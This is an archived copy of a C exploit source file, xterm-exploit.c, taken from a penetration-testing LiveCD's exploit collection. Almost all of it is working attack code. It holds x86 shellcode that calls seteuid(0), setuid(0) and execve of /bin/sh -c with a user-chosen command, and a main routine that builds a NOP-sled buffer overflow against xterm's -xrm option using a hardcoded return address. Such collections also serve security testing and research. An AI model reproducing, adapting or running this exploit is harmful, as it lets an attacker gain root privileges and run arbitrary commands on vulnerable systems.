home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / terminals / xterm / xterm-exploit.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  5.4 KB  |  124 lines
  1. /*
  2.  * xterm buffer overflow by jGgM
  3.  * http://www.netemperor.com/en/
  4.  * EMail: jggm@mail.com
  5.  * 
  6. */
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9.  
  10. char shell[] =
  11.   /*   0 */ "\xeb\x5f"                         /* jmp springboard       */
  12.   /* syscall:                                                           */
  13.   /*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
  14.   /*   9 */ "\xc3"                             /* ret                   */
  15.   /* start:                                                             */
  16.   /*  10 */ "\x5e"                             /* popl %esi             */
  17.   /*  11 */ "\x31\xc0"                         /* xor %eax,%eax         */
  18.   /*  13 */ "\x89\x46\x9d"                     /* movl %eax,-0x63(%esi) */
  19.   /*  16 */ "\x88\x46\xa2"                     /* movb %al,-0x5e(%esi)  */
  20.   /* seteuid:                                                           */
  21.   /*  19 */ "\x31\xc0"                         /* xor %eax,%eax         */
  22.   /*  21 */ "\x50"                             /* pushl %eax            */
  23.   /*  22 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
  24.   /*  24 */ "\xe8\xe5\xff\xff\xff"             /* call syscall          */
  25.   /*  29 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
  26.   /* setuid:                                                            */
  27.   /*  32 */ "\x31\xc0"                         /* xor %eax,%eax         */
  28.   /*  34 */ "\x50"                             /* pushl %eax            */
  29.   /*  35 */ "\xb0\x17"                         /* movb $0x17,%al        */
  30.   /*  37 */ "\xe8\xd8\xff\xff\xff"             /* call syscall          */
  31.   /*  42 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
  32.   /* execve:                                                            */
  33.   /*  45 */ "\x31\xc0"                         /* xor %eax,%eax         */
  34.   /*  47 */ "\x50"                             /* pushl %eax            */
  35.   /*  48 */ "\x56"                             /* pushl %esi            */
  36.   /*  49 */ "\x8b\x1e"                         /* movl (%esi),%ebx      */
  37.   /*  51 */ "\xf7\xdb"                         /* negl %ebx             */
  38.   /*  53 */ "\x89\xf7"                         /* movl %esi,%edi        */
  39.   /*  55 */ "\x83\xc7\x10"                     /* addl $0x10,%edi       */
  40.   /*  58 */ "\x57"                             /* pushl %edi            */
  41.   /*  59 */ "\x89\x3e"                         /* movl %edi,(%esi)      */
  42.   /*  61 */ "\x83\xc7\x08"                     /* addl $0x8,%edi        */
  43.   /*  64 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  44.   /*  67 */ "\x89\x7e\x04"                     /* movl %edi,0x4(%esi)   */
  45.   /*  70 */ "\x83\xc7\x03"                     /* addl $0x3,%edi        */
  46.   /*  73 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  47.   /*  76 */ "\x89\x7e\x08"                     /* movl %edi,0x8(%esi)   */
  48.   /*  79 */ "\x01\xdf"                         /* addl %ebx,%edi        */
  49.   /*  81 */ "\x88\x47\xff"                     /* movb %al,-0x1(%edi)   */
  50.   /*  84 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  51.   /*  87 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
  52.   /*  89 */ "\xe8\xa4\xff\xff\xff"             /* call syscall          */
  53.   /*  94 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
  54.   /* springboard:                                                       */
  55.   /*  97 */ "\xe8\xa4\xff\xff\xff"             /* call start            */
  56.   /* data:                                                              */
  57.   /* 102 */ "\xff\xff\xff\xff"                 /* DATA                  */
  58.   /* 106 */ "\xff\xff\xff\xff"                 /* DATA                  */
  59.   /* 110 */ "\xff\xff\xff\xff"                 /* DATA                  */
  60.   /* 114 */ "\xff\xff\xff\xff"                 /* DATA                  */
  61.   /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
  62.   /* 126 */ "\x2d\x63\xff";                    /* DATA                  */
  63.  
  64. #define NOP    0x90
  65. #define LEN        102
  66.  
  67. #define BUFFER_SIZE    1052
  68. #define RET_LENGTH    12
  69.  
  70. int
  71. main(int argc, char *argv[])
  72. {
  73.    char start_addr[4];
  74.    char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
  75.    char *command;
  76.    long offset, ret, start_address;
  77.    int  len, x, y, shell_start;
  78.  
  79.    if(argc > 3 || argc < 2) {
  80.       fprintf(stderr, "Usage: %s [command] [offset]\n", argv[0]);
  81.       exit(1);
  82.    } // end of if..
  83.  
  84.    command = argv[1];
  85.    if(argc == 3) offset = atol(argv[2]);
  86.    else offset = 0;
  87.  
  88.    len = strlen(command);
  89.    len++;
  90.    len = -len;
  91.    shell[LEN+0] = (len >> 0) & 0xff;
  92.    shell[LEN+1] = (len >> 8) & 0xff;
  93.    shell[LEN+2] = (len >> 16) & 0xff;
  94.    shell[LEN+3] = (len >> 24) & 0xff;
  95.  
  96.    start_address = (long)&start_addr;
  97.    //ret = start_address - offset;
  98.    //ret = start_address - 1080 - offset;
  99.    ret = 0x8047910 - offset;
  100.  
  101.    for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;
  102.  
  103.    x = BUFFER_SIZE - strlen(command) - strlen(shell);
  104.  
  105.    for(y=0; y<strlen(shell); y++)
  106.       buffer[x++] = shell[y];
  107.  
  108.    for(y=0; y<strlen(command); y++)
  109.       buffer[x++] = command[y];
  110.  
  111.    for(y=0; y<RET_LENGTH; y++, x += 4)
  112.       *((int *)&buffer[x]) = ret;
  113.  
  114.    buffer[x] = 0x00;
  115.  
  116.    printf("start_address = 0x%x\n", start_address);
  117.    printf("ret = 0x%x,\n", ret);
  118.    printf("offset = %d\n", offset);
  119.    printf("command = %s\n", command);
  120.    printf("buffer size = %d\n", strlen(buffer));
  121.    execl("/usr/X/bin/xterm", "xterm", "-xrm", buffer, NULL);
  122.    printf("exec failed\n");
  123. }
  124.